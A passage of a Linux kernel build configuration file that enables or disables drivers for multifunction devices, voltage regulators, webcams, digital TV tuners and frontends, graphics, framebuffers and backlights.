# CONFIG_BCMA_HOST_PCI is not set
CONFIG_BCMA_HOST_SOC=y
CONFIG_BCMA_DRIVER_PCI=y
# CONFIG_BCMA_SFLASH is not set
# CONFIG_BCMA_DRIVER_GMAC_CMN is not set
CONFIG_BCMA_DRIVER_GPIO=y
# CONFIG_BCMA_DEBUG is not set

#
# Multifunction device drivers
#
CONFIG_MFD_CORE=y
# CONFIG_MFD_CS5535 is not set
CONFIG_MFD_ACT8945A=y
# CONFIG_MFD_AS3711 is not set
# CONFIG_MFD_AS3722 is not set
CONFIG_PMIC_ADP5520=y
CONFIG_MFD_AAT2870_CORE=y
CONFIG_MFD_ATMEL_FLEXCOM=y
CONFIG_MFD_ATMEL_HLCDC=y
# CONFIG_MFD_BCM590XX is not set
CONFIG_MFD_AXP20X=y
CONFIG_MFD_AXP20X_I2C=y
CONFIG_MFD_CROS_EC=m
CONFIG_MFD_CROS_EC_I2C=m
# CONFIG_MFD_CROS_EC_SPI is not set
# CONFIG_PMIC_DA903X is not set
CONFIG_PMIC_DA9052=y
# CONFIG_MFD_DA9052_SPI is not set
CONFIG_MFD_DA9052_I2C=y
# CONFIG_MFD_DA9055 is not set
CONFIG_MFD_DA9062=y
# CONFIG_MFD_DA9063 is not set
CONFIG_MFD_DA9150=y
CONFIG_MFD_DLN2=y
CONFIG_MFD_MC13XXX=y
CONFIG_MFD_MC13XXX_SPI=m
CONFIG_MFD_MC13XXX_I2C=y
CONFIG_MFD_HI6421_PMIC=m
CONFIG_HTC_PASIC3=y
# CONFIG_HTC_I2CPLD is not set
CONFIG_MFD_INTEL_QUARK_I2C_GPIO=m
CONFIG_LPC_ICH=m
CONFIG_LPC_SCH=y
# CONFIG_INTEL_SOC_PMIC is not set
CONFIG_MFD_INTEL_LPSS=y
CONFIG_MFD_INTEL_LPSS_ACPI=y
CONFIG_MFD_INTEL_LPSS_PCI=m
# CONFIG_MFD_JANZ_CMODIO is not set
CONFIG_MFD_KEMPLD=m
CONFIG_MFD_88PM800=m
CONFIG_MFD_88PM805=y
CONFIG_MFD_88PM860X=y
CONFIG_MFD_MAX14577=m
CONFIG_MFD_MAX77620=y
# CONFIG_MFD_MAX77686 is not set
# CONFIG_MFD_MAX77693 is not set
# CONFIG_MFD_MAX77843 is not set
CONFIG_MFD_MAX8907=y
# CONFIG_MFD_MAX8925 is not set
CONFIG_MFD_MAX8997=y
CONFIG_MFD_MAX8998=y
CONFIG_MFD_MT6397=y
CONFIG_MFD_MENF21BMC=m
CONFIG_EZX_PCAP=y
CONFIG_MFD_VIPERBOARD=y
# CONFIG_MFD_RETU is not set
CONFIG_MFD_PCF50633=m
# CONFIG_PCF50633_ADC is not set
# CONFIG_PCF50633_GPIO is not set
CONFIG_UCB1400_CORE=m
CONFIG_MFD_RDC321X=m
CONFIG_MFD_RTSX_PCI=m
CONFIG_MFD_RT5033=y
CONFIG_MFD_RTSX_USB=y
# CONFIG_MFD_RC5T583 is not set
# CONFIG_MFD_RK808 is not set
# CONFIG_MFD_RN5T618 is not set
# CONFIG_MFD_SEC_CORE is not set
CONFIG_MFD_SI476X_CORE=y
CONFIG_MFD_SM501=y
# CONFIG_MFD_SM501_GPIO is not set
CONFIG_MFD_SKY81452=m
# CONFIG_MFD_SMSC is not set
CONFIG_ABX500_CORE=y
CONFIG_AB3100_CORE=y
# CONFIG_AB3100_OTP is not set
CONFIG_MFD_STMPE=y

#
# STMicroelectronics STMPE Interface Drivers
#
CONFIG_STMPE_I2C=y
# CONFIG_STMPE_SPI is not set
CONFIG_MFD_SYSCON=y
# CONFIG_MFD_TI_AM335X_TSCADC is not set
CONFIG_MFD_LP3943=m
# CONFIG_MFD_LP8788 is not set
CONFIG_MFD_PALMAS=y
CONFIG_TPS6105X=y
# CONFIG_TPS65010 is not set
CONFIG_TPS6507X=y
# CONFIG_MFD_TPS65086 is not set
CONFIG_MFD_TPS65090=y
# CONFIG_MFD_TPS65217 is not set
# CONFIG_MFD_TI_LP873X is not set
CONFIG_MFD_TPS65218=y
CONFIG_MFD_TPS6586X=y
CONFIG_MFD_TPS65910=y
CONFIG_MFD_TPS65912=m
CONFIG_MFD_TPS65912_I2C=m
# CONFIG_MFD_TPS65912_SPI is not set
CONFIG_MFD_TPS80031=y
# CONFIG_TWL4030_CORE is not set
CONFIG_TWL6040_CORE=y
CONFIG_MFD_WL1273_CORE=y
CONFIG_MFD_LM3533=y
CONFIG_MFD_TIMBERDALE=y
# CONFIG_MFD_TC3589X is not set
# CONFIG_MFD_TMIO is not set
CONFIG_MFD_VX855=y
CONFIG_MFD_ARIZONA=y
CONFIG_MFD_ARIZONA_I2C=y
CONFIG_MFD_ARIZONA_SPI=m
# CONFIG_MFD_CS47L24 is not set
CONFIG_MFD_WM5102=y
# CONFIG_MFD_WM5110 is not set
# CONFIG_MFD_WM8997 is not set
CONFIG_MFD_WM8998=y
CONFIG_MFD_WM8400=y
# CONFIG_MFD_WM831X_I2C is not set
# CONFIG_MFD_WM831X_SPI is not set
CONFIG_MFD_WM8350=y
CONFIG_MFD_WM8350_I2C=y
CONFIG_MFD_WM8994=m
CONFIG_REGULATOR=y
# CONFIG_REGULATOR_DEBUG is not set
CONFIG_REGULATOR_FIXED_VOLTAGE=y
CONFIG_REGULATOR_VIRTUAL_CONSUMER=y
CONFIG_REGULATOR_USERSPACE_CONSUMER=y
CONFIG_REGULATOR_88PM800=m
# CONFIG_REGULATOR_88PM8607 is not set
# CONFIG_REGULATOR_ACT8865 is not set
CONFIG_REGULATOR_ACT8945A=y
CONFIG_REGULATOR_AD5398=m
CONFIG_REGULATOR_ANATOP=y
CONFIG_REGULATOR_AAT2870=m
CONFIG_REGULATOR_AB3100=y
CONFIG_REGULATOR_AXP20X=y
# CONFIG_REGULATOR_DA9052 is not set
# CONFIG_REGULATOR_DA9062 is not set
CONFIG_REGULATOR_DA9210=m
CONFIG_REGULATOR_DA9211=y
CONFIG_REGULATOR_FAN53555=m
CONFIG_REGULATOR_GPIO=m
# CONFIG_REGULATOR_HI6421 is not set
CONFIG_REGULATOR_ISL9305=y
CONFIG_REGULATOR_ISL6271A=m
CONFIG_REGULATOR_LP3971=y
CONFIG_REGULATOR_LP3972=y
CONFIG_REGULATOR_LP872X=y
CONFIG_REGULATOR_LP8755=m
# CONFIG_REGULATOR_LTC3589 is not set
CONFIG_REGULATOR_LTC3676=y
CONFIG_REGULATOR_MAX14577=m
# CONFIG_REGULATOR_MAX1586 is not set
CONFIG_REGULATOR_MAX77620=y
CONFIG_REGULATOR_MAX8649=y
# CONFIG_REGULATOR_MAX8660 is not set
CONFIG_REGULATOR_MAX8907=m
CONFIG_REGULATOR_MAX8952=m
CONFIG_REGULATOR_MAX8973=y
# CONFIG_REGULATOR_MAX8997 is not set
CONFIG_REGULATOR_MAX8998=y
CONFIG_REGULATOR_MC13XXX_CORE=m
# CONFIG_REGULATOR_MC13783 is not set
CONFIG_REGULATOR_MC13892=m
CONFIG_REGULATOR_MT6311=y
CONFIG_REGULATOR_MT6323=y
CONFIG_REGULATOR_MT6397=m
# CONFIG_REGULATOR_PALMAS is not set
CONFIG_REGULATOR_PCAP=y
CONFIG_REGULATOR_PCF50633=m
CONFIG_REGULATOR_PFUZE100=m
# CONFIG_REGULATOR_PV88060 is not set
CONFIG_REGULATOR_PV88080=y
CONFIG_REGULATOR_PV88090=y
CONFIG_REGULATOR_PWM=m
CONFIG_REGULATOR_QCOM_SPMI=m
CONFIG_REGULATOR_RT5033=y
CONFIG_REGULATOR_SKY81452=m
CONFIG_REGULATOR_TPS51632=y
# CONFIG_REGULATOR_TPS6105X is not set
CONFIG_REGULATOR_TPS62360=m
# CONFIG_REGULATOR_TPS65023 is not set
CONFIG_REGULATOR_TPS6507X=y
# CONFIG_REGULATOR_TPS65090 is not set
CONFIG_REGULATOR_TPS65218=m
# CONFIG_REGULATOR_TPS6524X is not set
# CONFIG_REGULATOR_TPS6586X is not set
CONFIG_REGULATOR_TPS65910=m
CONFIG_REGULATOR_TPS65912=m
CONFIG_REGULATOR_TPS80031=m
CONFIG_REGULATOR_WM8350=m
# CONFIG_REGULATOR_WM8400 is not set
CONFIG_REGULATOR_WM8994=m
CONFIG_MEDIA_SUPPORT=y

#
# Multimedia core support
#
CONFIG_MEDIA_CAMERA_SUPPORT=y
# CONFIG_MEDIA_ANALOG_TV_SUPPORT is not set
CONFIG_MEDIA_DIGITAL_TV_SUPPORT=y
# CONFIG_MEDIA_RADIO_SUPPORT is not set
CONFIG_MEDIA_SDR_SUPPORT=y
# CONFIG_MEDIA_RC_SUPPORT is not set
CONFIG_MEDIA_CEC_SUPPORT=y
CONFIG_MEDIA_CEC_DEBUG=y
CONFIG_MEDIA_CEC_EDID=y
# CONFIG_MEDIA_CONTROLLER is not set
CONFIG_VIDEO_DEV=y
CONFIG_VIDEO_V4L2=y
# CONFIG_VIDEO_ADV_DEBUG is not set
CONFIG_VIDEO_FIXED_MINOR_RANGES=y
# CONFIG_VIDEO_PCI_SKELETON is not set
CONFIG_VIDEO_TUNER=y
CONFIG_VIDEOBUF_GEN=y
CONFIG_VIDEOBUF_DMA_SG=y
CONFIG_VIDEOBUF2_CORE=y
CONFIG_VIDEOBUF2_MEMOPS=y
CONFIG_VIDEOBUF2_DMA_CONTIG=y
CONFIG_VIDEOBUF2_VMALLOC=y
CONFIG_VIDEOBUF2_DMA_SG=y
CONFIG_VIDEOBUF2_DVB=y
CONFIG_DVB_CORE=y
# CONFIG_DVB_NET is not set
CONFIG_TTPCI_EEPROM=y
CONFIG_DVB_MAX_ADAPTERS=16
# CONFIG_DVB_DYNAMIC_MINORS is not set
# CONFIG_DVB_DEMUX_SECTION_LOSS_LOG is not set

#
# Media drivers
#
CONFIG_MEDIA_USB_SUPPORT=y

#
# Webcam devices
#
# CONFIG_USB_VIDEO_CLASS is not set
CONFIG_USB_GSPCA=y
CONFIG_USB_M5602=m
CONFIG_USB_STV06XX=y
# CONFIG_USB_GL860 is not set
CONFIG_USB_GSPCA_BENQ=y
CONFIG_USB_GSPCA_CONEX=m
CONFIG_USB_GSPCA_CPIA1=y
# CONFIG_USB_GSPCA_DTCS033 is not set
# CONFIG_USB_GSPCA_ETOMS is not set
CONFIG_USB_GSPCA_FINEPIX=m
# CONFIG_USB_GSPCA_JEILINJ is not set
CONFIG_USB_GSPCA_JL2005BCD=m
CONFIG_USB_GSPCA_KINECT=m
CONFIG_USB_GSPCA_KONICA=m
CONFIG_USB_GSPCA_MARS=m
# CONFIG_USB_GSPCA_MR97310A is not set
CONFIG_USB_GSPCA_NW80X=y
# CONFIG_USB_GSPCA_OV519 is not set
CONFIG_USB_GSPCA_OV534=y
CONFIG_USB_GSPCA_OV534_9=y
# CONFIG_USB_GSPCA_PAC207 is not set
CONFIG_USB_GSPCA_PAC7302=m
# CONFIG_USB_GSPCA_PAC7311 is not set
# CONFIG_USB_GSPCA_SE401 is not set
CONFIG_USB_GSPCA_SN9C2028=m
# CONFIG_USB_GSPCA_SN9C20X is not set
CONFIG_USB_GSPCA_SONIXB=y
CONFIG_USB_GSPCA_SONIXJ=m
CONFIG_USB_GSPCA_SPCA500=m
# CONFIG_USB_GSPCA_SPCA501 is not set
# CONFIG_USB_GSPCA_SPCA505 is not set
CONFIG_USB_GSPCA_SPCA506=m
# CONFIG_USB_GSPCA_SPCA508 is not set
CONFIG_USB_GSPCA_SPCA561=y
CONFIG_USB_GSPCA_SPCA1528=y
CONFIG_USB_GSPCA_SQ905=m
# CONFIG_USB_GSPCA_SQ905C is not set
CONFIG_USB_GSPCA_SQ930X=y
CONFIG_USB_GSPCA_STK014=y
CONFIG_USB_GSPCA_STK1135=y
CONFIG_USB_GSPCA_STV0680=m
# CONFIG_USB_GSPCA_SUNPLUS is not set
CONFIG_USB_GSPCA_T613=m
CONFIG_USB_GSPCA_TOPRO=m
CONFIG_USB_GSPCA_TOUPTEK=y
CONFIG_USB_GSPCA_TV8532=m
# CONFIG_USB_GSPCA_VC032X is not set
CONFIG_USB_GSPCA_VICAM=m
# CONFIG_USB_GSPCA_XIRLINK_CIT is not set
CONFIG_USB_GSPCA_ZC3XX=y
CONFIG_USB_PWC=m
# CONFIG_USB_PWC_DEBUG is not set
CONFIG_USB_PWC_INPUT_EVDEV=y
CONFIG_VIDEO_CPIA2=m
# CONFIG_USB_ZR364XX is not set
CONFIG_USB_STKWEBCAM=y
# CONFIG_USB_S2255 is not set
# CONFIG_VIDEO_USBTV is not set

#
# Analog/digital TV USB devices
#
# CONFIG_VIDEO_AU0828 is not set

#
# Digital TV USB devices
#
CONFIG_DVB_USB_V2=y
CONFIG_DVB_USB_AF9015=m
CONFIG_DVB_USB_AF9035=m
# CONFIG_DVB_USB_ANYSEE is not set
CONFIG_DVB_USB_AU6610=y
CONFIG_DVB_USB_AZ6007=m
CONFIG_DVB_USB_CE6230=m
CONFIG_DVB_USB_EC168=m
CONFIG_DVB_USB_GL861=m
CONFIG_DVB_USB_MXL111SF=m
CONFIG_DVB_USB_RTL28XXU=y
# CONFIG_DVB_USB_DVBSKY is not set
CONFIG_DVB_TTUSB_BUDGET=m
# CONFIG_DVB_TTUSB_DEC is not set
CONFIG_SMS_USB_DRV=m
# CONFIG_DVB_B2C2_FLEXCOP_USB is not set
CONFIG_DVB_AS102=m

#
# Webcam, TV (analog/digital) USB devices
#
CONFIG_VIDEO_EM28XX=y
# CONFIG_VIDEO_EM28XX_V4L2 is not set
# CONFIG_VIDEO_EM28XX_ALSA is not set
# CONFIG_VIDEO_EM28XX_DVB is not set

#
# Software defined radio USB devices
#
CONFIG_USB_AIRSPY=y
CONFIG_USB_HACKRF=m
# CONFIG_USB_MSI2500 is not set

#
# USB HDMI CEC adapters
#
CONFIG_USB_PULSE8_CEC=m
CONFIG_MEDIA_PCI_SUPPORT=y

#
# Media capture support
#
CONFIG_VIDEO_MEYE=m
CONFIG_VIDEO_SOLO6X10=m
CONFIG_VIDEO_TW5864=y
CONFIG_VIDEO_TW68=y
CONFIG_VIDEO_TW686X=m
# CONFIG_VIDEO_ZORAN is not set

#
# Media capture/analog/hybrid TV support
#
CONFIG_VIDEO_CX25821=y
CONFIG_VIDEO_CX25821_ALSA=m
CONFIG_VIDEO_SAA7134=m
CONFIG_VIDEO_SAA7134_ALSA=m
CONFIG_VIDEO_SAA7134_DVB=m
# CONFIG_VIDEO_SAA7164 is not set

#
# Media digital TV PCI Adapters
#
CONFIG_DVB_AV7110=y
# CONFIG_DVB_AV7110_OSD is not set
# CONFIG_DVB_BUDGET_CORE is not set
# CONFIG_DVB_B2C2_FLEXCOP_PCI is not set
CONFIG_DVB_PLUTO2=m
CONFIG_DVB_PT1=m
CONFIG_DVB_PT3=y
CONFIG_DVB_NGENE=y
CONFIG_DVB_DDBRIDGE=m
CONFIG_DVB_NETUP_UNIDVB=y
CONFIG_V4L_PLATFORM_DRIVERS=y
CONFIG_VIDEO_CAFE_CCIC=y
CONFIG_VIDEO_VIA_CAMERA=m
CONFIG_SOC_CAMERA=m
# CONFIG_SOC_CAMERA_PLATFORM is not set
# CONFIG_V4L_MEM2MEM_DRIVERS is not set
# CONFIG_V4L_TEST_DRIVERS is not set
CONFIG_DVB_PLATFORM_DRIVERS=y

#
# Supported MMC/SDIO adapters
#
# CONFIG_SMS_SDIO_DRV is not set
CONFIG_MEDIA_COMMON_OPTIONS=y

#
# common driver options
#
CONFIG_VIDEO_TVEEPROM=y
CONFIG_CYPRESS_FIRMWARE=m
CONFIG_VIDEO_SAA7146=y
CONFIG_VIDEO_SAA7146_VV=y
CONFIG_SMS_SIANO_MDTV=m

#
# Media ancillary drivers (tuners, sensors, i2c, spi, frontends)
#
CONFIG_MEDIA_SUBDRV_AUTOSELECT=y
CONFIG_MEDIA_ATTACH=y

#
# Audio decoders, processors and mixers
#

#
# RDS decoders
#
CONFIG_VIDEO_SAA6588=m

#
# Video decoders
#

#
# Video and audio decoders
#

#
# Video encoders
#

#
# Camera sensor devices
#
CONFIG_VIDEO_OV7670=y
CONFIG_VIDEO_MT9M111=m

#
# Flash devices
#

#
# Video improvement chips
#

#
# Audio/Video compression chips
#
CONFIG_VIDEO_SAA6752HS=m

#
# Miscellaneous helper chips
#

#
# Sensors used on soc_camera driver
#

#
# soc_camera sensor drivers
#
CONFIG_SOC_CAMERA_IMX074=m
# CONFIG_SOC_CAMERA_MT9M001 is not set
CONFIG_SOC_CAMERA_MT9M111=m
# CONFIG_SOC_CAMERA_MT9T031 is not set
CONFIG_SOC_CAMERA_MT9T112=m
CONFIG_SOC_CAMERA_MT9V022=m
# CONFIG_SOC_CAMERA_OV2640 is not set
CONFIG_SOC_CAMERA_OV5642=m
CONFIG_SOC_CAMERA_OV6650=m
CONFIG_SOC_CAMERA_OV772X=m
CONFIG_SOC_CAMERA_OV9640=m
# CONFIG_SOC_CAMERA_OV9740 is not set
CONFIG_SOC_CAMERA_RJ54N1=m
CONFIG_SOC_CAMERA_TW9910=m
CONFIG_MEDIA_TUNER=y
CONFIG_MEDIA_TUNER_SIMPLE=y
CONFIG_MEDIA_TUNER_TDA8290=y
CONFIG_MEDIA_TUNER_TDA827X=y
CONFIG_MEDIA_TUNER_TDA18271=y
CONFIG_MEDIA_TUNER_TDA9887=y
CONFIG_MEDIA_TUNER_MT20XX=y
CONFIG_MEDIA_TUNER_MT2060=y
CONFIG_MEDIA_TUNER_MT2063=m
CONFIG_MEDIA_TUNER_MT2131=y
CONFIG_MEDIA_TUNER_QT1010=y
CONFIG_MEDIA_TUNER_XC2028=y
CONFIG_MEDIA_TUNER_XC5000=y
CONFIG_MEDIA_TUNER_XC4000=y
CONFIG_MEDIA_TUNER_MXL5005S=y
CONFIG_MEDIA_TUNER_MXL5007T=m
CONFIG_MEDIA_TUNER_MC44S803=y
CONFIG_MEDIA_TUNER_TDA18218=m
CONFIG_MEDIA_TUNER_FC0011=m
CONFIG_MEDIA_TUNER_FC0012=y
CONFIG_MEDIA_TUNER_FC0013=y
CONFIG_MEDIA_TUNER_E4000=y
CONFIG_MEDIA_TUNER_FC2580=y
CONFIG_MEDIA_TUNER_TUA9001=y
CONFIG_MEDIA_TUNER_SI2157=y
CONFIG_MEDIA_TUNER_IT913X=m
CONFIG_MEDIA_TUNER_R820T=y
CONFIG_MEDIA_TUNER_MXL301RF=y
CONFIG_MEDIA_TUNER_QM1D1C0042=y

#
# Multistandard (satellite) frontends
#
CONFIG_DVB_STV090x=y
CONFIG_DVB_STV6110x=y

#
# Multistandard (cable + terrestrial) frontends
#
CONFIG_DVB_DRXK=y
CONFIG_DVB_TDA18271C2DD=y
CONFIG_DVB_MN88472=y
CONFIG_DVB_MN88473=y

#
# DVB-S (satellite) frontends
#
CONFIG_DVB_MT312=m
CONFIG_DVB_ZL10036=m
CONFIG_DVB_ZL10039=m
CONFIG_DVB_STV0299=y
CONFIG_DVB_TDA8083=y
CONFIG_DVB_TDA10086=m
CONFIG_DVB_VES1X93=y
CONFIG_DVB_TDA826X=m

#
# DVB-T (terrestrial) frontends
#
CONFIG_DVB_SP8870=y
CONFIG_DVB_CX22700=m
CONFIG_DVB_L64781=y
CONFIG_DVB_TDA1004X=m
CONFIG_DVB_MT352=m
CONFIG_DVB_ZL10353=y
CONFIG_DVB_TDA10048=m
CONFIG_DVB_AF9013=m
CONFIG_DVB_EC100=m
CONFIG_DVB_CXD2841ER=y
CONFIG_DVB_RTL2830=y
CONFIG_DVB_RTL2832=y
CONFIG_DVB_RTL2832_SDR=y
CONFIG_DVB_SI2168=y
CONFIG_DVB_AS102_FE=m
# CONFIG_DVB_GP8PSK_FE is not set

#
# DVB-C (cable) frontends
#
CONFIG_DVB_VES1820=y
CONFIG_DVB_STV0297=y

#
# ATSC (North American/Korean Terrestrial/Cable DTV) frontends
#
CONFIG_DVB_NXT200X=m
CONFIG_DVB_LGDT330X=y
CONFIG_DVB_LGDT3305=m
CONFIG_DVB_LG2160=m

#
# ISDB-T (terrestrial) frontends
#

#
# ISDB-S (satellite) & ISDB-T (terrestrial) frontends
#
CONFIG_DVB_TC90522=y

#
# Digital terrestrial only tuners/PLL
#
CONFIG_DVB_PLL=m

#
# SEC control devices for DVB-S
#
CONFIG_DVB_LNBH25=y
CONFIG_DVB_LNBP21=y
CONFIG_DVB_ISL6405=m
CONFIG_DVB_ISL6421=m
CONFIG_DVB_AF9033=m
CONFIG_DVB_HORUS3A=y
CONFIG_DVB_ASCOT2E=y
CONFIG_DVB_HELENE=y

#
# Tools to develop new frontends
#
# CONFIG_DVB_DUMMY_FE is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_INTEL_GTT=m
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
# CONFIG_VGA_SWITCHEROO is not set
CONFIG_DRM=m
CONFIG_DRM_MIPI_DSI=y
CONFIG_DRM_DP_AUX_CHARDEV=y
CONFIG_DRM_KMS_HELPER=m
CONFIG_DRM_KMS_FB_HELPER=y
# CONFIG_DRM_FBDEV_EMULATION is not set
# CONFIG_DRM_LOAD_EDID_FIRMWARE is not set
CONFIG_DRM_TTM=m
CONFIG_DRM_GEM_CMA_HELPER=y
CONFIG_DRM_KMS_CMA_HELPER=y

#
# I2C encoder or helper chips
#
# CONFIG_DRM_I2C_CH7006 is not set
CONFIG_DRM_I2C_SIL164=m
CONFIG_DRM_I2C_NXP_TDA998X=m
# CONFIG_DRM_RADEON is not set
CONFIG_DRM_AMDGPU=m
CONFIG_DRM_AMDGPU_SI=y
CONFIG_DRM_AMDGPU_CIK=y
# CONFIG_DRM_AMDGPU_USERPTR is not set
# CONFIG_DRM_AMDGPU_GART_DEBUGFS is not set

#
# ACP (Audio CoProcessor) Configuration
#
# CONFIG_DRM_AMD_ACP is not set
CONFIG_DRM_NOUVEAU=m
CONFIG_NOUVEAU_DEBUG=5
CONFIG_NOUVEAU_DEBUG_DEFAULT=3
CONFIG_DRM_NOUVEAU_BACKLIGHT=y
CONFIG_DRM_I915=m
# CONFIG_DRM_I915_ALPHA_SUPPORT is not set
# CONFIG_DRM_I915_CAPTURE_ERROR is not set
# CONFIG_DRM_I915_USERPTR is not set
CONFIG_DRM_VGEM=m
CONFIG_DRM_VMWGFX=m
# CONFIG_DRM_VMWGFX_FBCON is not set
# CONFIG_DRM_GMA500 is not set
# CONFIG_DRM_UDL is not set
CONFIG_DRM_AST=m
CONFIG_DRM_MGAG200=m
CONFIG_DRM_CIRRUS_QEMU=m
CONFIG_DRM_QXL=m
CONFIG_DRM_BOCHS=m
CONFIG_DRM_PANEL=y

#
# Display Panels
#
CONFIG_DRM_PANEL_SIMPLE=m
CONFIG_DRM_PANEL_JDI_LT070ME05000=m
CONFIG_DRM_PANEL_SAMSUNG_LD9040=m
# CONFIG_DRM_PANEL_LG_LG4573 is not set
# CONFIG_DRM_PANEL_PANASONIC_VVX10F034N00 is not set
CONFIG_DRM_PANEL_SAMSUNG_S6E8AA0=m
CONFIG_DRM_PANEL_SHARP_LQ101R1SX01=m
CONFIG_DRM_PANEL_SHARP_LS043T1LE01=m
CONFIG_DRM_BRIDGE=y

#
# Display Interface Bridges
#
CONFIG_DRM_ANALOGIX_ANX78XX=m
CONFIG_DRM_DUMB_VGA_DAC=m
CONFIG_DRM_NXP_PTN3460=m
CONFIG_DRM_PARADE_PS8622=m
CONFIG_DRM_SIL_SII8620=m
CONFIG_DRM_SII902X=m
CONFIG_DRM_TOSHIBA_TC358767=m
CONFIG_DRM_TI_TFP410=m
# CONFIG_DRM_I2C_ADV7511 is not set
CONFIG_DRM_ARCPGU=m
CONFIG_DRM_HISI_HIBMC=m
# CONFIG_DRM_MXSFB is not set
CONFIG_DRM_LEGACY=y
# CONFIG_DRM_TDFX is not set
CONFIG_DRM_R128=m
CONFIG_DRM_MGA=m
CONFIG_DRM_VIA=m
CONFIG_DRM_SAVAGE=m

#
# Frame buffer Devices
#
CONFIG_FB=m
CONFIG_FIRMWARE_EDID=y
CONFIG_FB_CMDLINE=y
CONFIG_FB_NOTIFY=y
CONFIG_FB_DDC=m
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
CONFIG_FB_CFB_FILLRECT=m
CONFIG_FB_CFB_COPYAREA=m
CONFIG_FB_CFB_IMAGEBLIT=m
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
CONFIG_FB_SYS_FILLRECT=m
CONFIG_FB_SYS_COPYAREA=m
CONFIG_FB_SYS_IMAGEBLIT=m
CONFIG_FB_FOREIGN_ENDIAN=y
# CONFIG_FB_BOTH_ENDIAN is not set
# CONFIG_FB_BIG_ENDIAN is not set
CONFIG_FB_LITTLE_ENDIAN=y
CONFIG_FB_SYS_FOPS=m
CONFIG_FB_DEFERRED_IO=y
CONFIG_FB_SVGALIB=m
# CONFIG_FB_MACMODES is not set
CONFIG_FB_BACKLIGHT=y
CONFIG_FB_MODE_HELPERS=y
CONFIG_FB_TILEBLITTING=y

#
# Frame buffer hardware drivers
#
# CONFIG_FB_CIRRUS is not set
CONFIG_FB_PM2=m
# CONFIG_FB_PM2_FIFO_DISCONNECT is not set
CONFIG_FB_CYBER2000=m
CONFIG_FB_CYBER2000_DDC=y
CONFIG_FB_ARC=m
# CONFIG_FB_VGA16 is not set
CONFIG_FB_UVESA=m
# CONFIG_FB_N411 is not set
# CONFIG_FB_HGA is not set
CONFIG_FB_OPENCORES=m
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
CONFIG_FB_RIVA=m
# CONFIG_FB_RIVA_I2C is not set
# CONFIG_FB_RIVA_DEBUG is not set
CONFIG_FB_RIVA_BACKLIGHT=y
CONFIG_FB_I740=m
# CONFIG_FB_LE80578 is not set
CONFIG_FB_MATROX=m
# CONFIG_FB_MATROX_MILLENIUM is not set
CONFIG_FB_MATROX_MYSTIQUE=y
# CONFIG_FB_MATROX_G is not set
CONFIG_FB_MATROX_I2C=m
CONFIG_FB_RADEON=m
CONFIG_FB_RADEON_I2C=y
CONFIG_FB_RADEON_BACKLIGHT=y
CONFIG_FB_RADEON_DEBUG=y
CONFIG_FB_ATY128=m
CONFIG_FB_ATY128_BACKLIGHT=y
CONFIG_FB_ATY=m
# CONFIG_FB_ATY_CT is not set
CONFIG_FB_ATY_GX=y
CONFIG_FB_ATY_BACKLIGHT=y
CONFIG_FB_S3=m
# CONFIG_FB_S3_DDC is not set
CONFIG_FB_SAVAGE=m
CONFIG_FB_SAVAGE_I2C=y
CONFIG_FB_SAVAGE_ACCEL=y
CONFIG_FB_SIS=m
CONFIG_FB_SIS_300=y
# CONFIG_FB_SIS_315 is not set
CONFIG_FB_VIA=m
# CONFIG_FB_VIA_DIRECT_PROCFS is not set
# CONFIG_FB_VIA_X_COMPATIBILITY is not set
CONFIG_FB_NEOMAGIC=m
CONFIG_FB_KYRO=m
CONFIG_FB_3DFX=m
CONFIG_FB_3DFX_ACCEL=y
CONFIG_FB_3DFX_I2C=y
CONFIG_FB_VOODOO1=m
CONFIG_FB_VT8623=m
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_GEODE is not set
CONFIG_FB_SM501=m
# CONFIG_FB_SMSCUFX is not set
CONFIG_FB_UDL=m
CONFIG_FB_IBM_GXT4500=m
CONFIG_FB_VIRTUAL=m
CONFIG_FB_METRONOME=m
CONFIG_FB_MB862XX=m
CONFIG_FB_MB862XX_PCI_GDC=y
# CONFIG_FB_MB862XX_I2C is not set
CONFIG_FB_BROADSHEET=m
CONFIG_FB_AUO_K190X=m
CONFIG_FB_AUO_K1900=m
# CONFIG_FB_AUO_K1901 is not set
# CONFIG_FB_HYPERV is not set
CONFIG_FB_SSD1307=m
# CONFIG_FB_SM712 is not set
CONFIG_BACKLIGHT_LCD_SUPPORT=y
CONFIG_LCD_CLASS_DEVICE=y
# CONFIG_LCD_L4F00242T03 is not set
CONFIG_LCD_LMS283GF05=y
CONFIG_LCD_LTV350QV=m
CONFIG_LCD_ILI922X=m
CONFIG_LCD_ILI9320=m
CONFIG_LCD_TDO24M=y
# CONFIG_LCD_VGG2432A4 is not set
CONFIG_LCD_PLATFORM=m
# CONFIG_LCD_S6E63M0 is not set
# CONFIG_LCD_LD9040 is not set
CONFIG_LCD_AMS369FG06=m
CONFIG_LCD_LMS501KF03=m
CONFIG_LCD_HX8357=m
CONFIG_BACKLIGHT_CLASS_DEVICE=m
# CONFIG_BACKLIGHT_GENERIC is not set
CONFIG_BACKLIGHT_LM3533=m
CONFIG_BACKLIGHT_PWM=m
CONFIG_BACKLIGHT_DA9052=m
CONFIG_BACKLIGHT_APPLE=m
# CONFIG_BACKLIGHT_PM8941_WLED is not set
CONFIG_BACKLIGHT_SAHARA=m
CONFIG_BACKLIGHT_ADP5520=m
CONFIG_BACKLIGHT_ADP8860=m
# CONFIG_BACKLIGHT_ADP8870 is not set
CONFIG_BACKLIGHT_88PM860X=m
CONFIG_BACKLIGHT_PCF50633=m
# CONFIG_BACKLIGHT_AAT2870 is not set
# CONFIG_BACKLIGHT_LM3630A is not set
# CONFIG_BACKLIGHT_LM3639 is not set
# CONFIG_BACKLIGHT_LP855X is not set
# CONFIG_BACKLIGHT_SKY81452 is not set
CONFIG_BACKLIGHT_GPIO=m
CONFIG_BACKLIGHT_LV5207LP=m
# CONFIG_BACKLIGHT_BD6107 is not set
CONFIG_VGASTATE=m
CONFIG_VIDEOMODE_HELPERS=y
CONFIG_HDMI=y

#
# Console display driver support
#
CONFIG_VGA_CONSOLE=y
# CONFIG_VGACON_SOFT_SCROLLBACK is not set
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=80
CONFIG_DUMMY_CONSOLE_ROWS=25
